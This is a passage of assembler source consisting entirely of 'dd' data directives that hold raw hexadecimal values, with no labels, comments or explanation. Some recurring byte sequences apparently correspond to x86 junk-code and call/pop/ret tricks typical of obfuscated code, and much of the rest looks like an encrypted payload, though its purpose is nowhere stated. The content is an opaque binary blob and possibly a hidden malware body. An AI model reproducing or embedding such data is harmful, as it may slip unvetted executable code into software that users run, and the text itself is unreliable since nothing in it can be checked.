62A900A6h, 0EA1A0047h, 0D5A3h, 199C0000h dd 0FECAh, 0FBFE4Ah, 0B4870000h, 202352DDh, 339C9ED9h dd 0A6E977E7h, 8B000011h, 0E0339D95h, 0B1BD8307h, 7E016h dd 4C850Fh, 0B5010000h, 7E020C5h, 0CDB53151h, 5A07E033h dd 0B8h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1804h, 0C3554500h, 4764756Fh, 85E2B93Dh, 890F3C52h dd 6, 348D8D03h, 4C207E0h, 0BF0F6000h, 0C08B61D0h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 18h, 82C35040h, 1C2A0278h dd 0BA8DB966h, 95F38060h, 289FBE66h, 0B1BD8361h, 7E006h dd 0BD830975h, 7E001C5h, 50137400h, 0B8C08B53h, 4D0h, 0BA369D8Dh dd 0D3FF07E2h, 0BD83585Bh, 7E001C5h, 50117400h, 4D0B853h dd 9D8D0000h, 7E2B983h, 585BD3FFh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 15h, 52C35545h, 0ADBD29E6h, 6A07E033h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 16042444h dd 40000000h, 28EEC350h, 0E88A6061h, 8498531h, 8B6107E0h dd 56006AC0h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h dd 0C3564600h, 5F12DCABh, 0CA8B6660h, 0B9BE858Dh, 816607E3h dd 506ED4DFh, 489F48Ah, 57006A24h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1B04h, 0C3574700h, 0E900EDF5h, 0CD4F7FACh dd 7F59D01h, 858D07E0h, 7E3B97Bh, 3810Fh, 0BF0F0000h, 458D8BD6h dd 5007E02Dh, 4896160h, 53006A24h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1504h, 0C3534300h, 0B70F6AB8h, 4595FFF9h dd 6A07E025h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 17042444h, 41000000h, 0E8DDC351h, 800F7EB0h, 6, 29FD8D29h dd 0BF6607E0h, 448B7C98h, 0BD8B0424h, 7E0074Dh, 0B9A68589h dd 6A07E3h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 190424h, 51410000h, 154343C3h, 819FB1BBh, 34F659D2h dd 24448B62h, 0C9958B08h, 8907E008h, 0E3B9BA85h, 8B566007h dd 0E02FF9B5h, 8D0F5A07h, 6, 2B759D89h, 836107E0h, 0E020C1BDh dd 850F0007h, 0E2h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 16h, 0EDC35646h, 66607CEBh, 12E8CF8Bh, 25000000h dd 0CE20703Bh, 0F7CC3C0Bh, 60FDE4F1h, 0A888A2BCh, 5B5A505Dh dd 5985C661h, 4707E007h, 17299D01h, 4E807E0h, 0D2000000h dd 0BFD49AA7h, 25EDF7CDh, 66525050h, 0FC374B9h, 7E96031h dd 0CA000000h, 0ED502A6Eh, 0B866776Dh, 5A61C90Ch, 24448B58h dd 0EE85304h, 57000000h, 7E1A0642h, 0B623F13Ch, 0A5CD0C5Dh dd 0F52500Dh, 5A585A31h, 8B008B5Ah, 244489FAh, 870F6004h dd 0 dd 68D0Fh, 8D0F0000h, 0 dd 0BD8B5861h, 7E02C89h, 292DB5FFh, 816607E0h, 8DA2E9F2h dd 0E37FE885h, 8BD0FF07h, 0E02B758Dh, 0C1858907h, 0F07E020h dd 58Ch, 0D1816600h, 0BD836152h, 7E01D05h, 0AA850F00h dd 8B000000h, 0E019B1BDh, 5985C607h, 4707E007h, 0DBEDBF66h dd 934F6C68h, 2404811Fh, 6A7C6676h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 15h, 33C35242h, 2DB5FFF8h, 6A07E029h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 17042444h dd 45000000h, 4CEDC355h, 0C981FC64h, 5CF09B2Eh, 7FE8858Dh dd 6A07E3h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h dd 51410000h, 1E6D0C3h, 8F0F2920h, 6, 315D8589h, 0D0FF07E0h dd 1D058589h, 816607E0h, 12C47E7h, 0E010D98Dh, 59BD8307h dd 7E018h, 0F9850Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 190424h, 56460000h, 0C7DD10C3h, 0C64F3B0Ah dd 0E0075985h, 68FC5607h, 0EF240FEEh, 0FE9h, 0D43BB900h dd 93FB78C1h, 6A74AB0Ch, 463AC2F5h, 0D7243481h, 0E93B3B62h dd 8, 7B6F82B9h, 3DD11Ah, 292DB5FFh, 8E807E0h, 0B000000h dd 0FCF5373h, 0F4AC905h, 118Bh, 0CE900h, 8C320000h, 0A7E9DD6Ah dd 0E95C4285h, 8D5A4120h, 0E37FE885h, 55006A07h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h dd 0FF126155h, 50006AD0h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1804h, 0C3504000h, 0B2D02092h, 0C9BD292Dh dd 0FC07E001h, 18598589h, 6A07E0h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 170424h, 57470000h, 6E473FC3h, 99958BDDh dd 0C607E018h, 0E0075985h, 66606C07h, 0B5AF4EBEh, 81686146h dd 0B9F391F4h, 51B0E21Dh, 2243481h, 6A289484h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h dd 3174C356h, 0F2816631h, 840FC0A6h, 6, 21818D8Bh, 0B5FF07E0h dd 7E02F01h, 11E9h, 90676600h, 0D6D68688h, 0E596FFE6h dd 186BE7E0h, 858D7C4Eh, 7E039F8h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 16h, 74C35646h, 850105C3h, 7E02A01h dd 0BD0B8AB5h, 7E02879h, 85BAD0FFh, 8912C345h, 0E3B9AA85h dd 56006A07h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h dd 0C3564600h, 4A26AE69h, 0F2805CCh, 158Ah, 10E900h, 86FC0000h dd 496207D2h, 0B6B60AB8h, 0D8200ACAh, 0BD8324B7h, 7E3B9C6h dd 71850F00h, 51000000h, 2EA9BD8Bh, 0C65F07E0h, 0E0075985h dd 0BA664907h, 9368D5C3h, 6041688Ch, 9E395BBFh, 4816134h dd 0AC9D5624h, 0B985894Ah, 0FF07E006h, 0E02F01B5h, 0C1816607h dd 0E181F496h, 67B70573h, 39F8858Dh, 6A07E0h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 21F1AAC3h dd 731CB4EDh, 89F9D0FFh, 0E3B9C685h, 0EDF58007h, 6A046Ah dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h dd 0AE54A4C3h, 897E316Bh, 89443865h, 0E001E995h, 4E807h dd 10000000h, 0F78A0000h, 0F88B6650h, 424448Bh, 8B82B2h dd 10E8h, 0BAEAAA00h, 0EE9CA00Ch, 0B532D61Ah, 0FA1BD232h dd 4489594Bh, 10E90424h, 0C4000000h, 1CED597Bh, 965903Ah dd 9D24F3A0h, 586C929Ah, 2AB2BF66h, 0D51B2568h, 81EDB626h dd 1B252434h, 32BF26D4h, 6A761462h, 4BD78100h, 0FF2BCCA4h dd 0E01DB595h, 0F8BA5207h, 592F60E0h, 38D0Fh, 0B70F0000h dd 0B68589CFh, 6007E3B9h, 16018D09h, 0BCBA07E0h, 6131F5A6h dd 0B9AE85C7h, 7E3h, 0E9530000h, 6, 12B933E0h, 6A5FF95Ah dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h dd 0C3574700h, 8B668D4Eh, 0D7B268F9h, 0C88A5713h, 0B2243481h dd 815712D7h, 342C05DFh, 8A0F5043h, 2, 489F5B1h, 29850124h dd 6A07E02Bh, 0BD78B90Bh, 858D7002h, 7E3B983h, 0E990C9B2h dd 0Bh, 0BA74FB3Bh, 0BE2D0DF6h, 50FE0244h, 52006A90h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h dd 72F737F8h, 0A99D0960h, 8B07E02Fh, 816661D9h, 0FF121FDAh dd 0E020C195h, 57006A07h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1B04h, 0C3574700h, 0A68B4967h, 0B98452F3h dd 0B3DAEA81h, 9589601Eh, 7E018C9h, 0B98DB58Dh, 6A07E3h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h dd 0D12D5EC3h, 0BD8D23EEh, 8B07E017h, 0E0306DBDh, 66605007h dd 0BE66FE8Bh, 8961BAC7h, 0BD8B2434h, 7E02DADh, 2A59958Bh dd 0BA5007E0h, 34A049BDh, 51240489h, 2F058D8Bh, 0FF5A07E0h dd 0E01D0595h, 6820F07h, 29000000h, 0E02F59BDh, 0FC00B07h dd 3985h, 99BD3300h, 0E907E031h, 702h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 18h, 9FC35242h, 25527A09h, 9E9h dd 0F0075000h, 750E44Eh, 0D0FF4EF0h, 2E09B501h, 0B58B07E0h dd 7E3B9B6h, 7CC0B1B9h, 20468D73h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 17h, 89C35545h, 0B6F6B71Ah, 0B595899Ah dd 6A07E02Fh, 0FB8B6604h, 0BF525090h, 66FBA9E7h, 6651310Fh dd 5A59D78Bh, 0BF665058h, 6A907DEDh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 0D063C352h dd 47DEA3Fh, 0B1593D60h, 0C695FFD3h, 6007E3B9h, 1D0BE66h dd 5BD8B61h, 0B07E025h, 1B840FC0h, 57000000h, 29218D03h dd 0E95F07E0h, 62Eh, 5F8CDCBFh, 89F56040h, 0E025358Dh dd 7E806107h, 840F0020h, 616h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 19h, 53C35141h, 0A33507BBh, 0F9BF0FC8h dd 8B60FB8Bh, 0E00855BDh, 51958B07h, 8D07E01Bh, 0BD292046h dd 7E0045Dh, 0B9B28589h, 9E807E3h, 0A8000000h, 9E427F89h dd 0FFAF3E07h, 5FC6F280h, 0C8F0Fh, 800F0000h, 6, 0C13BF781h dd 17E93F39h, 89000001h, 0E008E18Dh, 0FA8B4007h, 5E850h dd 996A0000h, 0E8CB5E37h, 0Bh, 0F7692F6Fh, 0DE6CABE4h dd 506A7EA0h, 5A310F52h, 895A5A58h, 6A2404h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 160424h, 51410000h, 72350C3h dd 23218D29h, 46A07E0h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Dh, 0E2C35646h, 8B0B3B56h, 94626808h, 0C7D28137h dd 9041092Eh, 68E0Fh, 8B600000h, 616160DAh, 6DBA6650h dd 8E0F9027h, 6, 110DBD29h, 95FF07E0h, 7E3B9C6h, 8BCB8B66h dd 50006AD8h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h dd 0C3504000h, 6D934A07h, 158D8BCDh, 5807E006h, 6830Fh dd 958B0000h, 7E01BDDh, 19418589h, 0DB0B07E0h, 2C840Fh dd 0D9B10000h, 4B9E9h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1A04h, 0C3554500h, 96C9D9ADh, 0F70903Fh dd 3880D3BFh, 0E6850F00h, 6AFFFFFEh, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 19042444h dd 47000000h, 9A5AC357h, 9D72D1C9h, 1A018589h, 8C0F07E0h dd 0 dd 11E9h, 5890F00h, 0BA000000h, 53773523h, 0DA816648h dd 853B4555h, 7E3B9B2h, 48820Fh, 81660000h, 80F448C1h dd 840F5C38h, 3Ah, 6E9h, 4E647600h, 80134150h, 850F2F38h dd 0FFFFFFCCh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Bh, 0CBC35747h, 265CF1DFh, 0F101A58h, 2940CFB7h, 0E0338D8Dh dd 0BABD8307h, 7E3B9h, 1B9840Fh, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 0F91F09C3h dd 361803FFh, 14E8h, 0F4636800h, 5DD9D91Dh, 12096745h dd 268DCECAh, 0FBAD062Fh, 8B505FF6h, 240489F9h, 16218D0Bh dd 8D0F07E0h, 17h, 11E8h, 59767C00h, 0E6B63A12h, 8D19A2DFh dd 2EA2F237h, 35A317Ah, 0E3B9BA85h, 51006A07h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1A04h, 0C3514100h, 0B6B59EC0h dd 8B2C9A4Fh, 0E01B01BDh, 59539007h, 903BB650h, 18AD9D89h dd 46A07E0h, 5870Fh, 32BF0000h, 0E8125F52h, 10h, 0C246E524h dd 0C33FBFADh, 8DB49C66h, 0FDD8B6A4h, 2B6DBD89h, 505F07E0h dd 0CE9h, 7BE0A900h, 0BC2781B5h, 29FB3EBBh, 24048913h dd 95FF5A56h, 7E3B9C6h, 3850Fh, 8B660000h, 6AD88BF8h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h dd 3461C352h, 0A3FCE181h, 0BE90734h, 7F000000h, 29371A09h dd 0D77ED777h, 6A581EAFh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 15042444h, 40000000h, 0F1BAC350h, 1FDDBD89h dd 8D8B07E0h, 7E0264Dh, 840FDB0Bh, 2Ch, 0E853006Ah, 3 dd 5BC35B20h, 4245C89h, 4244481h, 19h, 0C4C35343h, 38E924FFh dd 264E9F8h, 85010000h, 7E00639h, 6A0000C6h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h dd 2A09C357h, 58FAB70Fh, 0EE9h, 41D68B00h, 2982FB59h, 0AA96BA14h dd 50C98CA7h, 4830Fh, 0BF660000h, 48992B4h, 0AE824h, 72460000h dd 365B376Ch, 0A7153756h, 1B51BD8Bh, 6A5907E0h, 55006A1Eh dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h dd 2EF5AE36h, 0E9F2DC0Bh, 5E98F6Eh, 94000000h, 7B9B63DDh dd 50C9BF0Fh, 6E8h, 0A9168900h, 6680B471h, 895FD08Bh, 6A2404h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h dd 0B9BE48C3h, 0BA66E777h, 95FFA8F0h, 7E3B9C6h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 77C35343h, 0B2C15997h dd 89D88BC0h, 0E01B5185h, 9D315807h, 7E008B9h, 840FDB0Bh dd 3Ch, 0C8F0Fh, 8F0F0000h, 6, 2C719D01h, 43E907E0h, 6A000001h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1A042444h dd 42000000h, 0C53C352h, 0E7B61DEBh, 0CFDD8051h, 0F525090h dd 12E831h, 0C0710000h, 0B434AE87h, 0FF587185h, 30ECF368h dd 0ED2BA960h, 5A596160h, 0FE8B5058h, 82E68090h, 0B9A6B5FFh dd 850F07E3h, 11h, 5E8h, 6116B100h, 880F8F8Dh, 0 dd 95FFF85Fh, 7E3B9AAh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 15h, 46C35646h, 0D18B6662h, 5800Fh, 0F1BF0000h dd 0B2ED8A9h, 60850FC0h, 0F000000h, 0E861CBBFh, 13h, 0C58C8394h dd 3B3C6822h, 9825F889h, 7BCC00EAh, 89BCAD81h, 0E02FEDBDh dd 0BD015F07h, 7E00F85h, 0B9AE85C7h, 107E3h, 6A0000h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h dd 0F4111CC3h, 0B0D5F41Bh, 45E9h, 5D8D0300h, 6107E034h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 78C35141h dd 0E55DB9B4h, 11CC681h, 810F0000h, 5, 0F3C27BB9h, 0F947E920h dd 8152FFFFh, 19CF3BC2h, 3D685942h, 0E81D4BB2h, 8, 4359F9A1h dd 0A3210F2Bh, 2434815Ah, 1D4B323Dh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 15h, 0A6C35343h, 59BD8919h, 6A07E032h dd 0C9B70F00h, 0E654BF66h, 0B9B6B5FFh, 6A07E3h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h dd 448DD4C3h, 8974D38Bh, 0E00E0995h, 5995FF07h, 6A07E018h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 19042444h dd 45000000h, 985AC355h, 41560839h, 0AE9h, 15695D00h, 22DE1E19h dd 0F89A3DD3h, 0B9AE858Bh, 8D8907E3h, 7E02CC9h, 0F525050h dd 0B0BA6631h, 89585A80h, 0BF0F2404h, 8BD281CEh, 8D4B4A98h dd 0E3B9BE85h, 56006A07h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1504h, 0C3564600h, 85017C8Bh, 7E020F9h, 6E9h dd 53111500h, 90EADD45h, 8E9h, 0EF014F00h, 94290271h, 3AB65074h dd 52006A90h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h dd 0C3524200h, 194F0BAFh, 326960F0h, 7B858DFEh, 8907E3B9h dd 0E02DCD85h, 0FB8B9007h, 6A9050h, 3E850h, 58200000h dd 448958C3h, 44810424h, 180424h, 50400000h, 2DC8BCC3h dd 8B0FD50Bh, 2, 95FFD18Bh, 7E03001h, 0CE9h, 41A2F700h dd 559E36Dh, 0CE2E0ED3h, 0F5C08B69h, 6B1BD83h, 750007E0h dd 0C5BD8309h, 7E001h, 53501374h, 0D0B8C08Bh, 8D000004h dd 0E2BA9D9Dh, 5BD3FF07h, 0C5BD8358h, 7E001h, 53501174h dd 4D0B8h, 9C9D8D00h, 0FF07E2B9h, 0BA585BD3h, 1E79C844h dd 2FE1958Bh, 958B07E0h, 7E0231Dh, 0E781C08Bh, 6822E567h dd 9E858h, 0ADBE0000h, 0FAC19E3h, 594CD498h, 8C2CC8Ah dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h dd 0C3554500h, 307695Fh, 12E92DA0h, 9E000000h, 0FDFD7BE8h dd 0DE95255Fh, 0D7F9076Fh, 43A69B40h, 0FC08B0Eh, 858DD0BFh dd 7E3B9D5h, 14E9h, 0F6A5AC00h, 6CD9FE6h, 3287053h, 1B327493h dd 0A047711Ah, 4D858981h, 0EB07E00Fh, 0C1000039h, 0C102CC00h dd 0C102E400h, 0 dd 4DD44B00h, 54D8D847h, 45D0A676h, 4ED49022h, 44939E4Fh dd 6EBD954Eh, 6CF1B876h, 6FC93022h, 74D35A52h, 41D8ED4Ah dd 46DDCF46h, 0A9615198h, 0C0A77297h, 217D7225h, 0C08FF9AFh dd 26317125h, 0A9BD3F22h, 0C09D7297h, 91004C25h, 20BA0724h dd 9D3EFA57h, 275DF8E7h, 70A48822h, 987DF571h, 20BD3B9Bh dd 481AABh, 0BD30C8C2h, 275F5B40h, 78E620DDh, 217844A1h dd 54BDFBC2h, 98EE2E35h, 20BD3B9Bh, 481AABh, 0BD30C8C2h dd 275F5E73h, 78E620DDh, 0C8EFF948h, 20BDFC21h, 7A7E2402h dd 24996BABh, 2499DBA3h, 20BDCF3Eh, 57EB560h, 84A81110h dd 20C17F5Ch, 0F0CA3998h, 0C63C1804h, 20D7BADAh, 20BE7775h dd 7F9DCF22h, 5C34B8E1h, 643CF706h, 20A6FD06h, 77FAFC22h dd 8087B2E1h, 33035DD8h, 0E23CF951h, 0A1DB5B79h, 0ABB25CC5h dd 2438FCE2h, 46BDF922h, 0E637D59Ch, 0C0BA27A7h, 2B546925h dd 0FABD9F22h, 0F0DD4EA6h, 18456150h, 0F8D5DAC3h, 967985E2h dd 4897D0Bh, 786906A8h, 9908ADDh, 20D798C2h, 20BE2775h dd 7F9DE722h, 5C34ACE1h, 643CFD06h, 20A6F806h, 77FA7E22h dd 0DDCE62E1h, 64AF1407h, 0C83842C4h, 4ABA045Dh, 2355A222h dd 0BDF922h, 0A9E43F7Bh, 0A1B95A6Eh, 39B91B66h, 61BD9F22h dd 98250C73h, 0F95A0951h, 20D723DDh, 20BE1172h, 789DFC22h dd 643426E1h, 643C3B06h, 20A49B06h, 70FDCF22h, 9D8CAFE1h dd 0AB928250h, 0C0AAD0AFh, 0ABB99625h, 264C16DBh, 2BEE3h dd 0A1BC1770h, 29B2EB26h, 0A5B4991Dh, 275DEB83h, 20BDFDCAh dd 20BF1022h, 0D3361822h, 32393072h, 0C8BD9F22h, 20BDCF25h dd 0AE1FF533h, 996056FFh, 72593E84h, 4F9777Bh, 0DE361826h dd 27553FA9h, 93BD9F22h, 0EF61F913h, 72EDADBCh, 20BD722Dh dd 11B2F922h, 20BD7B2Dh, 78E77E22h, 4F9B67Dh, 0F136F926h dd 71BDA57Ah, 20BDE4CAh, 0E3E4D322h, 4F1707Bh, 4F97D26h dd 20BD6626h, 0E3EC7E22h, 4F5A8BF6h, 4AE29834h, 71BD8D22h dd 20BDF0CAh, 0E3E4D922h, 4F1757Bh, 4F9FF26h, 20BD2926h dd 0E3ECDE22h, 0AB57C46Eh, 0A06D18D5h, 0DA367CFBh, 0EB1C7CABh dd 0A9EEFBC1h, 0C0A4DBBFh, 0D8366125h, 20BF5327h, 85384622h dd 0A3BA04E9h, 0A534EBE2h, 275E328Bh, 0CC043C11h, 0D3BD7E20h dd 0A94CB488h, 0C09F3ABFh, 79380925h, 63BA0725h, 0E0579BD7h dd 143C09A1h, 0C4164806h, 77BD144Eh, 20BD3CCAh, 0E3E2BF22h dd 4C1467Dh, 4F96626h, 20BDEB26h, 0E3EABE22h, 61976565h dd 20BB9787h, 32DB3F22h, 0FC2C0D33h, 20BDDCCBh, 928F3222h dd 0EC059865h, 0AF44F6B1h, 0B8B03F9Eh, 8DF48F60h, 9908ADDh dd 9ADB98C2h, 6C077E9Dh, 0AD94AAA6h, 0C3C21BA7h, 28550125h dd 0C3BDFC22h, 19E14C65h, 119FB866h, 0C08FA2B7h, 0F0429025h dd 0C8EBE748h, 20BDF321h, 7E7EA702h, 249988ABh, 24993AA3h dd 20BD3F3Eh, 67EC964h, 0ACAD9BA4h, 0A5CC2FE2h, 3E04EABh dd 0A534FEC2h, 275DD9E7h, 0C8EA7E48h, 20BD3F21h, 7F7EC002h dd 2499B3ABh, 2499A3A3h, 20BDF338h, 337EAE65h, 3E356401h dd 0CB37189Dh, 378CBAAFh, 0AD3698C2h, 275DCF0Bh, 3C187229h dd 0A534F4C2h, 275DCD63h, 3F684909h, 345479C2h, 0AFBD3F22h dd 59001160h, 2171C93Eh, 578BFDECh, 3AE29F78h, 0E653AC0Fh dd 0C0BAA5A7h, 20D72D25h, 20BED772h, 789D9F22h, 643497E1h dd 643CE306h, 20A7F706h, 70FDF922h, 0C3663FE1h, 501EE30Dh dd 7D303442h, 0C9BA7F32h, 20BDCF33h, 7C4D176h, 0BCEF28C6h dd 9C2BCDC2h, 0BDDA353Ah, 9D361FC9h, 275D3B4Bh, 0F903BA4Ah dd 20AD27CBh, 0AFFDE722h, 1C2C813Fh, 69E1890h, 0C3ED7C37h dd 0ABDBFCF0h, 243C66EDh, 0F7372C06h, 39384630h, 0DFBA073Ah dd 0C094DE97h, 75007225h, 0ADBA1C16h, 0C3C296A7h, 0D00A3025h dd 20D74FDDh, 20BE2775h, 7F9DE722h, 5C34ACE1h, 643CFD06h dd 20A5F806h, 77FA7E22h, 277E91E1h, 0BDB461EFh, 275DD3A7h dd 28246A29h, 0A534F4C2h, 275DE18Bh, 20BDFBCAh, 0D338B022h dd 0B840B3D9h, 7938597Dh, 73BA2F25h, 0C8EBE748h, 20BDF321h dd 7E7EA702h, 249988ABh, 24993AA3h, 20BD3F3Ah, 6B7EC964h dd 58414AE3h, 20BF6C2Dh, 0D936F322h, 0E4CEA34Ah, 0A1E3AC56h dd 71E45A26h, 0B5945C76h, 275DAD33h, 9907ADDh, 20D7E0C2h dd 20BE1B77h, 7D9DF922h, 4C34A1E1h, 643C7A06h, 20A73B06h dd 75F89F22h, 8D34F9E1h, 4AB1C356h, 5F5576AFh, 0A1DBFEC1h dd 0DFDE2CCBh, 77BD14F2h, 20BD3CCAh, 0E3E2BF22h, 4C1467Dh dd 4F96626h, 20BDE926h, 0E3EABE22h, 7D06CD3Ch, 2B0AF9DDh dd 0C0BDBAAFh, 89381625h, 4ABA2F3Fh, 2355B722h, 0BDF322h dd 0A9E53A7Ah, 0A1B9D866h, 39B95A66h, 60BD3F22h, 37B5C72h dd 41F3D87Fh, 61006E42h, 2FBA1331h, 0E6DC289Dh, 0C0BAA5A7h dd 20D73925h, 20BED774h, 7E9D9F22h, 543491E1h, 643CE306h dd 20ABF706h, 76FBF922h, 0C0ED5BE1h, 6E0C3ABh, 0FAD538C2h dd 9A3B979Fh, 997AE65h, 0EF99E3A3h, 4A8C253Dh, 2355AA22h dd 0BDFC22h, 0A9E6BD79h, 0A1B91B7Eh, 37B9BB66h, 63BDCF22h dd 0A9B82471h, 0ABDBA170h, 0D0806D0h, 2BBA1C0Bh, 0C0A80FB7h dd 0AD6EB425h, 0C3C277A7h, 70BDA525h, 20BDE4CAh, 0E3E5D322h dd 4F9707Ah, 4F97D26h, 20BD6B26h, 0E3ED7F22h, 97B2C57Eh dd 0A96D30E9h, 0C0A0F6B7h, 0D1387A25h, 92BA193Eh, 79383A8Ch dd 67BA9E25h, 0C875802Dh, 20BD9F26h, 0A161DF58h, 20B8682Dh dd 0C703F322h, 70AFF0B0h, 2499B8A9h, 20AF9773h, 6A43F22h dd 0C1423811h, 0ECFD5D44h, 0A55E1E19h, 8131EC94h, 2FBD727Ch dd 20BDF8AEh, 41DD2D22h, 4F9B67Bh, 2504F926h, 0F93D9760h dd 0D13C8117h, 95426FCBh, 275DD00Fh, 5F5579AFh, 20D779C1h dd 20BED770h, 7A9D9F22h, 743495E1h, 643CE306h, 20A6F706h dd 72FFF922h, 0F35EA3E1h, 0D2926C6Eh, 21333068h, 0D8BD9F22h dd 20D71FDDh, 20BE0F72h, 789DF322h, 6434A1E1h, 643CF806h dd 20A87A06h, 70FD3F22h, 9A57F4E1h, 0BCD4F74h, 3E462ABh dd 20D7F4C2h, 20BE1177h, 7D9DFC22h, 4C3423E1h, 643C3B06h dd 20A49B06h, 75F8CF22h, 89A34DE1h, 0ABD29DABh, 0C098049Fh dd 79383A25h, 67BA9E25h, 24559993h, 7DBD9F22h, 7017021Eh dd 643610A9h, 72EDF706h, 0BA029F42h, 2624421Eh, 2FDC202Bh dd 7A4CB413h, 96BD147Ah, 4F94610h, 0C9EFB726h, 20BDF329h dd 0E767E2D0h, 9C98A8D3h, 2F6C1713h, 61538113h, 78E799ADh dd 0DF6B447Ah, 0C094CA97h, 75BD9925h, 20BDFACAh, 0E3E0DC22h dd 4D1F77Fh, 4F9BE26h, 20BD8B26h, 0E3E88A22h, 49086C4Ah dd 0ADBA1316h, 0C3C211A7h, 76BD9625h, 20BD7DCAh, 0E3E31F22h dd 4C9167Ch, 4F94E26h, 20BDFA26h, 0E3EBB522h, 35292105h dd 77A4C0C4h, 7FED30F0h, 6C82A9h, 0F04298C2h, 0C8E8CF48h dd 20BDE721h, 7D7EAE02h, 249995ABh, 2499B8A3h, 20BD7E36h dd 737E6A67h, 20BD93CAh, 7FEFCB22h, 25CF8E82h, 45C3065Ch dd 95B4A975h, 275DEE2Bh, 0A534247Ch, 275D2F47h, 0C8EA9F48h dd 20BDCF21h, 7F7EB802h, 24998FABh, 2499BDA3h, 20BDFC37h dd 0FF7E2965h, 6100B6A3h, 0DFBA7F0Fh, 25524EF2h, 0A982AB68h dd 0C0B80AA7h, 70BD9325h, 20BDFFCAh, 0E3E55E22h, 4F9B67Ah dd 4F91E26h, 20BDD926h, 0E3EDA722h, 0C904ED98h, 20BDF936h dd 389DB600h, 7D791BCFh dd 5A6F94A0h, 8D49ACEFh, 12166DD3h, 4A656B44h, 2355A122h dd 0BDF922h, 0A9E73F78h, 0A1B95A76h, 35B91B66h, 62BD9F22h dd 0DC4C0C70h, 44E6C44h, 3355A126h, 64BDF922h, 0EE309AB0h dd 0ABD8E46Ch, 9D6CA5F0h, 8C4333F0h, 0ADB21A88h, 20BDE722h dd 0E0B7AA7Dh, 23057D2Dh, 20D7FC22h, 20BE9675h, 7F9D3F22h dd 5C34C0E1h, 643CCB06h, 20AAE306h, 77FAF322h, 1FBFCEE1h dd 3130770Eh, 0E6BA9E3Dh, 0C0BA66A7h, 20D7D025h, 20BE2770h dd 7A9DE722h, 7434A9E1h, 643CFD06h, 20A9F806h, 72FF7E22h dd 0B59E1BE1h, 275DBC13h, 0DAD54A4Ah, 0A1C25152h, 2482D726h dd 20D7B7A4h, 20BE1477h, 7D9D7E22h, 4C3462E1h, 643C9B06h dd 20A6CB06h, 75F8E722h, 779C4E1h, 573D2B2Bh, 7D087756h dd 0DFBA9E03h, 0C0941297h, 95281625h, 0ADBA2F35h, 0C3C20FA7h dd 71BD9925h, 20BDFACAh, 0E3E4DC22h, 4F1F77Bh, 4F9BE26h dd 20BD8526h, 0E3EC8E22h, 45A4AD37h, 0DF36DE6Ah, 75BD93F2h dd 20BDFFCAh, 0E3E05E22h, 4D1B67Fh, 4F91E26h, 20BDD926h dd 0E3E8A222h, 0AB24F7F6h, 0C0A54097h, 41387525h, 0A3BA9E3Bh dd 20D71BE2h, 20BE7771h, 7B9DCF22h, 7C34BCE1h, 643CF706h dd 20A6FD06h, 73FEFC22h, 0B20B70E1h, 9E415CD2h, 0E8029027h dd 24872A9h, 0A534E0C2h, 275DD2EFh, 0C8EEF948h, 20BDFC21h dd 7B7E2502h, 249963ABh, 2499DBA3h, 